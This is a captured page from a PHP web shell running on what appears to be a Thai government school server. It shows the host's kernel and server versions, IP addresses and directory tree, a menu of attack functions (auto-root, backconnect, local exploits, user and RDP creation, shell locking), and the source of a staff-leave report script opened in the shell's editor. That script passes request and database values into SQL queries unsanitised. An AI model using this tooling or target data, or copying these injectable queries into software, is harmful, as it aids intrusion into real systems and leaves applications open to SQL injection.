Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss_test /
modules /
la /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
basic_comment.php
42.02
KB
-rw-r--r--
cancel_basic_comment.php
25.46
KB
-rw-r--r--
cancel_grant.php
35.05
KB
-rw-r--r--
cancel_la_officer_comment.php
26.78
KB
-rw-r--r--
collection.php
5.49
KB
-rw-r--r--
grant.php
50.88
KB
-rw-r--r--
grant2.php
49.07
KB
-rw-r--r--
job_person.php
32.98
KB
-rw-r--r--
la_cancel.php
33.23
KB
-rw-r--r--
la_cancel_sch.php
32.11
KB
-rw-r--r--
la_main.php
68.98
KB
-rw-r--r--
la_main_mobile.php
8.55
KB
-rw-r--r--
la_main_sch.php
60.24
KB
-rw-r--r--
la_officer_comment.php
42.51
KB
-rw-r--r--
report_1.php
5.94
KB
-rw-r--r--
report_1_mobile.php
5.81
KB
-rw-r--r--
report_2.php
5.95
KB
-rw-r--r--
report_3.php
5.99
KB
-rw-r--r--
report_3_sch.php
5.66
KB
-rw-r--r--
report_4.php
14.88
KB
-rw-r--r--
report_4_sch.php
7.5
KB
-rw-r--r--
report_4_sch2.php
7.56
KB
-rw-r--r--
report_5.php
11.71
KB
-rw-r--r--
report_6.php
27.6
KB
-rw-r--r--
report_6_sch.php
27.3
KB
-rw-r--r--
report_7.php
19.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_2.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); require_once "modules/la/time_inc.php"; //ส่วนหัว echo "<br />"; echo "<table width='100%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>รายการลาทั้งหมด</strong></font></td></tr>"; echo "</table>"; echo "<br>"; //ส่วนแสดงผล $today_date = date("Y-m-d"); //ส่วนของการแยกหน้า $sql="select id from la_main"; $dbquery = mysqli_query($connect,$sql); $num_rows = mysqli_num_rows($dbquery ); $pagelen=20; // 1_กำหนดแถวต่อหน้า $url_link="option=la&task=main/report_2"; // 2_กำหนดลิงค์ฺ $totalpages=ceil($num_rows/$pagelen); if(!(isset($_REQUEST['page']))){ $_REQUEST['page']=""; } if($_REQUEST['page']==""){ $page=$totalpages; if($page<2){ $page=1; } } else{ if($totalpages<$_REQUEST['page']){ $page=$totalpages; if($page<1){ $page=1; } } else{ $page=$_REQUEST['page']; } } $start=($page-1)*$pagelen; if(($totalpages>1) and ($totalpages<16)){ echo "<div align=center>"; echo "หน้า "; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } echo "</div>"; } if($totalpages>15){ if($page <=8){ $e_page=15; $s_page=1; } if($page>8){ if($totalpages-$page>=7){ $e_page=$page+7; $s_page=$page-7; } else{ $e_page=$totalpages; $s_page=$totalpages-15; } } echo "<div align=center>"; if($page!=1){ $f_page1=$page-1; echo "<<a href=$PHP_SELF?$url_link&page=1>หน้าแรก </a>"; echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>หน้าก่อน </a>"; } else { echo "หน้า "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<a href=$PHP_SELF?$url_link&page=$f_page2> หน้าถัดไป</a>>>"; echo "<a href=$PHP_SELF?$url_link&page=$totalpages> หน้าสุดท้าย</a>>"; } echo " <select onchange=\"location.href=this.options[this.selectedIndex].value;\" size=\"1\" name=\"select\">"; echo "<option value=\"\">หน้า</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</select>"; echo "</div>"; } //จบแยกหน้า $sql = "select la_main.id, la_main.person_id, la_main.document, la_main.rec_date, la_main.la_type, la_main.la_start, la_main.la_finish, la_main.la_total, la_main.commander_grant from la_main left join la_person_set on la_main.person_id=la_person_set.person_id order by la_main.id limit $start,$pagelen "; $dbquery = mysqli_query($connect,$sql); echo "<table width='98%' border='1' align='center' style='border-collapse: collapse'>"; echo "<Tr bgcolor='#FFCCCC' align='center'><Td width='50'>ที่</Td><Td>เลขที่</Td><Td>ผู้ขออนุญาต</Td><Td width='100'>วันขออนุญาต</Td><Td>ประเภทการลา</Td><Td>ตั้งแต่วันที่</Td><Td>ถึงวันที่</Td><Td>มีกำหนด</Td><Td width='50'>อนุมัติ</Td></Tr>"; $N=(($page-1)*$pagelen)+1; //*เกี่ยวข้องกับการแยกหน้า $M=1; While ($result = mysqli_fetch_array($dbquery)){ $id = $result['id']; $person_id = $result['person_id']; $file = $result['document']; $rec_date = $result['rec_date']; if(($M%2) == 0) $color="#FFFFB"; else $color="#FFFFFF"; $la_type = $result['la_type']; $la_type_name=""; if($la_type==1){ $la_type_name="ลาป่วย"; } else if($la_type==2){ $la_type_name="ลากิจ"; } else if($la_type==3){ $la_type_name="ลาคลอด"; } else if($la_type==4){ $la_type_name="ลาพักผ่อน"; } $la_start = $result['la_start']; $la_finish = $result['la_finish']; $la_total = $result['la_total']; echo "<Tr bgcolor='$color'><Td valign='top' align='center'>$N</Td><td align='center'>$id</td>"; $sql_person = "select * from person_main where person_id='$person_id' "; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']; if(!$result_person){ $sql_person = "select * from person_sch_main left join system_school on person_sch_main.school_code=system_school.school_code where person_id='$person_id' "; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']." "."(".$result_person['school_name'].")"; } echo "</Td><Td valign='top' align='left'>$fullname</Td>"; echo "<Td valign='top' align='left'>"; echo thai_date_3($rec_date); echo "</Td><Td valign='top' align='left'>$la_type_name</Td>"; echo "<Td valign='top' align='left' >"; echo thai_date_3($la_start); echo "</Td>"; echo "<Td valign='top' align='left' >"; echo thai_date_3($la_finish); echo "</Td>"; echo "<Td valign='top' align='center' >$la_total วัน</Td>"; echo "<Td valign='top' align='center'>"; if($result['commander_grant']==1){ echo "<img src=images/yes.png border='0'>"; } else if($result['commander_grant']==2){ echo "<img src=images/no.png border='0'>"; } else{ echo "รออนุมัติ"; } echo "</Td>"; echo "</Tr>"; echo "</Tr>"; $M++; $N++; //*เกี่ยวข้องกับการแยกหน้า } echo "</Table>"; ?>
Close